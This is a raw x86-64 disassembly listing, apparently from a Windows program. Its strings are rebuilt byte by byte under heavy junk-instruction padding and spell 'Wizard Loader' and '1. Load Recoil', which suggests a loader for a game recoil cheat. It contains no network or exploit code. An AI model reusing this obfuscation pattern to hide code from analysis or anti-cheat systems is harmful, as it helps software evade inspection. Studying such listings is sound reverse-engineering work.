jmp 0x14004c3d0
xor edx, edx
div rcx
movzx eax, byte [rdx + r8]
clc
cmp si, r8w
cmp r11b, 0x9d
xor al, 0x57
test r12b, bl
stc
mov byte [rbp - 0x12], al
mov eax, 7
test r8w, 0x5421
jmp 0x14004c3fc
xor edx, edx
div rcx
movzx eax, byte [rdx + r8]
cmp r11w, 0x3a28
test rbp, 0x4d0115ec
xor al, 0x69
mov byte [rbp - 0x11], al
mov eax, 8
test r8d, r12d
test ch, 0xf6
sub edx, edx
test dil, 0x84
div rcx
xadd ax, ax
movzx eax, byte [rdx + r8]
cmc
xor al, 0x7a
clc
mov byte [rbp - 0x10], al
btr ax, bx
rcr rax, 0x9f
cwde
mov eax, 9
stc
cmc
cmp bpl, 0xce
sub edx, edx
test r9w, 0x756d
div rcx
cmp bl, 0x2f
stc
movzx eax, byte [rdx + r8]
clc
stc
test spl, 0xa7
xor al, 0x61
cmp spl, 0xec
cmp cl, sil
stc
mov byte [rbp - 0xf], al
rol ah, 0x94
mov eax, 0xa
clc
xor edx, edx
clc
stc
cmp r10b, 0x1f
div rcx
rcr ax, cl
adc al, dil
movzx eax, byte [rdx + r8]
xor al, 0x72
mov byte [rbp - 0xe], al
dec al
bts ax, r13w
mov eax, 0xb
xor edx, edx
div rcx
movsx rax, r14w
movzx eax, byte [rdx + r8]
xor al, 0x64
test sil, bl
mov byte [rbp - 0xd], al
mov eax, 0xc
jmp 0x14004c4c7
sub edx, edx
div rcx
rcr rax, 0x2b
shr eax, cl
ror ax, 0x80
movzx eax, byte [rdx + r8]
cmp sil, al
jmp 0x14004c4e4
xor al, 0x20
mov byte [rbp - 0xc], al
movsxd rax, r12d
clc
movsx eax, r10w
mov eax, 0xd
stc
xor edx, edx
cmp r12, rbp
test r12, r11
div rcx
movzx eax, byte [rdx + r8]
cmp r12, rcx
test si, r10w
xor al, 0x4c
mov byte [rbp - 0xb], al
bsr ax, bx
mov eax, 0xe
xor edx, edx
cmp sil, 5
stc
div rcx
ror ax, 0x96
movzx eax, byte [rdx + r8]
xor al, 0x6f
clc
cmc
cmp rcx, rcx
mov byte [rbp - 0xa], al
or eax, 0x2a3500ab
mov eax, 0xf
jmp 0x14004c549
xor edx, edx
div rcx
movzx eax, byte [rdx + r8]
cmp bx, 0x71e7
xor al, 0x61
cmp r8b, 0x23
cmp rbp, r8
mov byte [rbp - 9], al
sal rax, cl
mov rax, 0x42616e7
shl al, 8
mov eax, 0x10
sub edx, edx
clc
div rcx
movzx eax, byte [rdx + r8]
test dx, 0x3de6
xor al, 0x64
test r12b, r15b
mov byte [rbp - 8], al
movsx eax, bx
mov eax, 0x11
sub edx, edx
stc
jmp 0x14004c59e
div rcx
rcl rax, cl
shl rax, 0x72
mov ax, r9w
movzx eax, byte [rdx + r8]
xor al, 0x65
stc
mov byte [rbp - 7], al
xor edx, edx
ror al, 0xd8
mov eax, 0x12
test bpl, r14b
cmp r8b, dl
div rcx
and cx, 0x6393
movzx eax, byte [rdx + r8]
rol cl, 0xe8
movsx rcx, sp
xor al, 0x72
mov byte [rbp - 6], al
mov word [rbp - 5], 0x100
movsx rcx, r12w
lea rcx, [rbp - 0x18]
jmp 0x14004c5f3
call fcn.140019da0
lea rdx, [rbp - 0x18]
mov rcx, rbx
jmp 0x14004c604
call fcn.14001e650
lea rdx, [0x14001e820]
mov rcx, rbx
jmp 0x14004c618
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [0x140024220]
movzx ecx, r8w
sub edx, edx
and ecx, ebp
rol r8b, 0x9a
rcr r8w, cl
mov rcx, qword [0x14002bd90]
cmp qword [0x14002bd98], 0x10
jmp 0x14004c649
mov r8, qword [0x14002bd80]
jmp 0x14004c655
jae 0x14004c667
lea r8, [0x14002bd80]
adc ah, ch
test r9b, cl
movzx eax, byte [r8]
test r8, rsi
cmp r12b, r11b
xor al, 0x31
cmc
mov byte [rbp - 0x30], al
xchg al, al
shl al, cl
mov eax, 1
clc
jmp 0x14004c687
div rcx
xor eax, 0x13965817
movzx eax, byte [rdx + r8]
test r12w, 0x5ddc
xor al, 0x2e
mov byte [rbp - 0x2f], al
cwde
mov eax, 2
test r10b, r9b
xor edx, edx
test r8b, 0xb5
div rcx
movzx eax, byte [rdx + r8]
xor al, 0x20
test bl, bh
cmp dx, r15w
jmp 0x14004c6c3
mov byte [rbp - 0x2e], al
shr al, 0xde
jmp 0x14004c6ce
mov eax, 3
xor edx, edx
cmc
test dx, 0x7fff
div rcx
sbb rax, 0x7b3f192d
movzx eax, byte [rdx + r8]
test rbx, rax
xor al, 0x4c
mov byte [rbp - 0x2d], al
mov eax, 4
jmp 0x14004c6fc
xor edx, edx
test spl, bpl
div rcx
movsx eax, r9w
shr ah, cl
not al
movzx eax, byte [rdx + r8]
cmp r8d, 0x46ad2e48
xor al, 0x6f
mov byte [rbp - 0x2c], al
movsx eax, bx
mov eax, 5
test r11b, 0x99
test r13b, bl
cmp r15w, r9w
sub edx, edx
div rcx
movzx eax, byte [rdx + r8]
xor al, 0x61
mov byte [rbp - 0x2b], al
btc ax, 0x1c
sal rax, 0x6f
shld eax, r8d, 0xfe
mov eax, 6
cmc
test dl, 0xd4
xor edx, edx
div rcx
sub ax, 0x2a5b
movzx ax, r12b
movzx eax, byte [rdx + r8]
xor al, 0x64
cmp r10d, 0x4f257a3c
test bl, r14b
mov byte [rbp - 0x2a], al
mov eax, 7
jmp 0x14004c783
xor edx, edx
div rcx
movzx eax, byte [rdx + r8]
test rax, 0x715753ed
stc
xor al, 0x20
clc
mov byte [rbp - 0x29], al
mov al, r11b
btc ax, 0x2e
mov eax, 8
xor edx, edx
div rcx
neg ah
or ah, 0x87
movzx eax, byte [rdx + r8]
test ax, r10w
stc
cmc
xor al, 0x52
stc
cmp r13b, 0xff
cmp r15, rdx
mov byte [rbp - 0x28], al
cmp ax, r13w
mov eax, 9
cmc
clc
sub edx, edx
stc
cmp dil, 9
div rcx
movzx rax, sp
movzx eax, byte [rdx + r8]
xor al, 0x65
stc
clc
cmp r15d, eax
mov byte [rbp - 0x27], al
xadd ah, al
mov eax, 0xa
clc
stc
xor edx, edx
jmp 0x14004c80c
div rcx
test r14d, 0x63641b12
sub ax, 0x4229
movzx eax, byte [rdx + r8]
cmp bl, dil
cmc
xor al, 0x63
mov byte [rbp - 0x26], al
xadd al, ah
bts rax, rsi
mov eax, 0xb
sub edx, edx
clc
div rcx
jmp 0x14004c83f
movzx eax, byte [rdx + r8]
clc
cmp r13b, 0xf0
test r14w, 0x7676
xor al, 0x6f
test sil, al
cmp r9b, r9b
mov byte [rbp - 0x25], al
jmp 0x14004c863
mov eax, 0xc
clc
xor edx, edx
div rcx
movzx eax, byte [rdx + r8]
xor al, 0x69
stc
mov byte [rbp - 0x24], al
mov eax, 0xd
cmp rdx, r13
sub edx, edx
div rcx
adc ax, si
and ax, 0x3e56
bswap rax
movzx eax, byte [rdx + r8]
xor al, 0x6c
cmc
mov byte [rbp - 0x23], al
clc
mov eax, 0xe
cmp sil, 0x89
test r15, 0x19bf11bc
test rax, rdi
sub edx, edx
clc
div rcx
movzx ax, ah
movzx eax, byte [rdx + r8]
jmp 0x14004c8c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov dword [rbp + 0x28f8], r13d
mov ecx, 6
jmp 0x14004f3b2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
jmp 0x14004f3be
call fcn.1400017b0
int3